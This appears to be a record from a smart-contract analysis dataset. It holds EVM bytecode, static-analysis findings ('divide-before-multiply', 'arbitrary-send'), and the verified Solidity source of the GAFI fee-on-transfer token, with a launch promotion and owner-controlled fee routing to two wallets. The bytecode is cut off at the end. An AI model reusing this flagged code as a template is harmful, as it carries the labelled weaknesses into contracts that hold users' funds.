906020019080838360005b838110156118165780820151818401526020810190506117fb565b50505050905090810190601f1680156118435780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118fa5780601f106118cf576101008083540402835291602001916118fa565b820191906000526020600020905b8154815290600101906020018083116118dd57829003601f168201915b505050505081565b600061191661190f6116a0565b84846125e2565b6001905092915050565b611928611ef8565b61197d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b60005b81518160ff161015611a0757600060076000848460ff16815181106119a157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611980565b5050565b60008054905090565b6000611a218484846127d9565b611ae284611a2d6116a0565b611add8560405180606001604052806028815260200161308760289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611a936116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b6125e2565b600190509392505050565b601060009054906101000a900463ffffffff1681565b60085481565b6000611bb2611b166116a0565b84611bad8560036000611b276116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b6125e2565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005481565b611c69611ef8565b611cbe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b600280811115611cca57fe5b600d60009054906101000a900460ff166002811115611ce557fe5b1415611d59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686520636f696e206f66666572696e672068617320656e646564000000000081525060200191505060405180910390fd5b6001600d60006101000a81548160ff02191690836002811115611d7857fe5b0217905550565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dd6611ef8565b611e2b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045481565b60055481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611fe65780601f10611fbb57610100808354040283529160200191611fe6565b820191906000526020600020905b815481529060010190602001808311611fc957829003601f168201915b505050505081565b60006120b1611ffb6116a0565b846120ac8560405180606001604052806025815260200161316f60259139600360006120256116a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b6125e2565b6001905092915050565b6000806007905060006120d78285612c0390919063ffffffff16565b9050600061210160646120f385856115d090919063ffffffff16565b61165690919063ffffffff16565b9050809350505050919050565b600061212261211b6116a0565b84846127d9565b6001905092915050565b600c5481565b60115481565b60095481565b600b5481565b61214c611ef8565b6121a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df75760405160405180910390a250565b612247611ef8565b61229c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b6002808111156122a857fe5b600d60009054906101000a900460ff1660028111156122c357fe5b1415612337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f54686520636f696e206f66666572696e672068617320656e646564000000000081525060200191505060405180910390fd5b61233f612c3e565b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6123d0611ef8565b612425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b60005b81518160ff1610156124af57600160076000848460ff168151811061244957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612428565b5050565b6124bb611ef8565b612510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061312a6021913960400191505060405180910390fd5b61251981612ccd565b50565b600080831182906125c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561258d578082015181840152602081019050612572565b50505050905090810190601f1680156125ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816125d457fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061314b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612fd86022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561285f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806131056025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612f936023913960400191505060405180910390fd5b6128fc6005546004546116a890919063ffffffff16565b42101580612943575061290d61177a565b73ffffffffffffffffffffffffffffffffffffffff1661292b6116a0565b73ffffffffffffffffffffffffffffffffffffffff16145b6129b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f546f6b656e73206e6f7420756e6c6f636b65642079657400000000000000000081525060200191505060405180910390fd5b612a2181604051806060016040528060268152602001612ffa60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000612b69826120bb565b90506000612b80828461173090919063ffffffff16565b9050612b8d858585612dc7565b612b978483612dcc565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b600080612c1084846116a8565b90506000612c1f826001611730565b9050612c34612c2e8286611656565b856115d0565b9250505092915050565b6002600d60006101000a81548160ff02191690836002811115612c5d57fe5b0217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612cca573d6000803e3d6000fd5b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d0757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130af6021913960400191505060405180910390fd5b612e5e82600083612dc7565b612eca81604051806060016040528060228152602001612fb660229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a49092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f228160005461173090919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365457863656564696e67206c696d6974206f662070726573616c6520746f6b656e7354686520636f696e206f66666572696e6720686173206e6f74207374617274656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f2061646472657373596f752063616e2073656e64206174206c6561737420302e332045544820627574206e6f74206d6f7265207468616e20322045544845524332303a207472616e736665722066726f6d20746865207a65726f20616464726573734e6f7420617574686f726973656420666f722074686973206f7065726174696f6e45524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209aa19535c414b90e85673059fc9a903e28b5d8d635f8be0372e775e522aef0c164736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
81
0x5989879aa5886f2c18ee994b01fb01675d592b0d
/** *Submitted for verification at Etherscan.io on 2021-09-13 */ /*** * * GAFI is launching at Uniswap September 13, 21:00 UTC. * * Join community via t.me/GAFI_Token * * Fair launch, locked liquidity, ownership renounced. * */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GAFI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"GAFI | t.me/GAFI_Token"; string private constant _symbol = unicode"GAFI"; uint8 private constant _decimals = 9; uint256 private _taxFee = 6; uint256 private _teamFee = 4; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 6; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461037d578063c3c8cd801461039d578063c9567bf9146103b2578063db92dbb6146103c7578063dd62ed3e146103dc578063e8078d941461042257600080fd5b8063715018a6146102d45780638da5cb5b146102e957806395d89b4114610311578063a9059cbb1461033e578063a985ceef1461035e57600080fd5b8063313ce567116100fd578063313ce5671461022157806345596e2e1461023d5780635932ead11461025f57806368a3a6a51461027f5780636fc3eaec1461029f57806370a08231146102b457600080fd5b806306fdde0314610145578063095ea7b31461019657806318160ddd146101c657806323b872dd146101ec57806327f3a72a1461020c57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601681527523a0a324903e103a1736b297a3a0a324afaa37b5b2b760511b60208201525b60405161018d9190611bf3565b60405180910390f35b3480156101a257600080fd5b506101b66101b1366004611b4b565b610437565b604051901515815260200161018d565b3480156101d257600080fd5b50683635c9adc5dea000005b60405190815260200161018d565b3480156101f857600080fd5b506101b6610207366004611b0b565b61044e565b34801561021857600080fd5b506101de6104b7565b34801561022d57600080fd5b506040516009815260200161018d565b34801561024957600080fd5b5061025d610258366004611bae565b6104c7565b005b34801561026b57600080fd5b5061025d61027a366004611b76565b610570565b34801561028b57600080fd5b506101de61029a366004611a9b565b6105ef565b3480156102ab57600080fd5b5061025d610612565b3480156102c057600080fd5b506101de6102cf366004611a9b565b61063f565b3480156102e057600080fd5b5061025d610661565b3480156102f557600080fd5b506000546040516001600160a01b03909116815260200161018d565b34801561031d57600080fd5b506040805180820190915260048152634741464960e01b6020820152610180565b34801561034a57600080fd5b506101b6610359366004611b4b565b6106d5565b34801561036a57600080fd5b50601454600160a81b900460ff166101b6565b34801561038957600080fd5b506101de610398366004611a9b565b6106e2565b3480156103a957600080fd5b5061025d610708565b3480156103be57600080fd5b5061025d61073e565b3480156103d357600080fd5b506101de61078b565b3480156103e857600080fd5b506101de6103f7366004611ad3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042e57600080fd5b5061025d6107a3565b6000610444338484610b56565b5060015b92915050565b600061045b848484610c7a565b6104ad84336104a885604051806060016040528060288152602001611dcc602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121d565b610b56565b5060019392505050565b60006104c23061063f565b905090565b6011546001600160a01b0316336001600160a01b0316146104e757600080fd5b603381106105345760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461059a5760405162461bcd60e51b815260040161052b90611c46565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610565565b6001600160a01b0381166000908152600660205260408120546104489042611d36565b6011546001600160a01b0316336001600160a01b03161461063257600080fd5b4761063c81611257565b50565b6001600160a01b038116600090815260026020526040812054610448906112dc565b6000546001600160a01b0316331461068b5760405162461bcd60e51b815260040161052b90611c46565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610444338484610c7a565b6001600160a01b0381166000908152600660205260408120600101546104489042611d36565b6011546001600160a01b0316336001600160a01b03161461072857600080fd5b60006107333061063f565b905061063c81611360565b6000546001600160a01b031633146107685760405162461bcd60e51b815260040161052b90611c46565b6014805460ff60a01b1916600160a01b179055610786426078611ceb565b601555565b6014546000906104c2906001600160a01b031661063f565b6000546001600160a01b031633146107cd5760405162461bcd60e51b815260040161052b90611c46565b601454600160a01b900460ff16156108275760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161052b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108643082683635c9adc5dea00000610b56565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089d57600080fd5b505afa1580156108b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190611ab7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091d57600080fd5b505afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611ab7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099d57600080fd5b505af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611ab7565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a058161063f565b600080610a1a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7d57600080fd5b505af1158015610a91573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab69190611bc6565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1a57600080fd5b505af1158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611b92565b5050565b6001600160a01b038316610bb85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610c195760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cde5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f2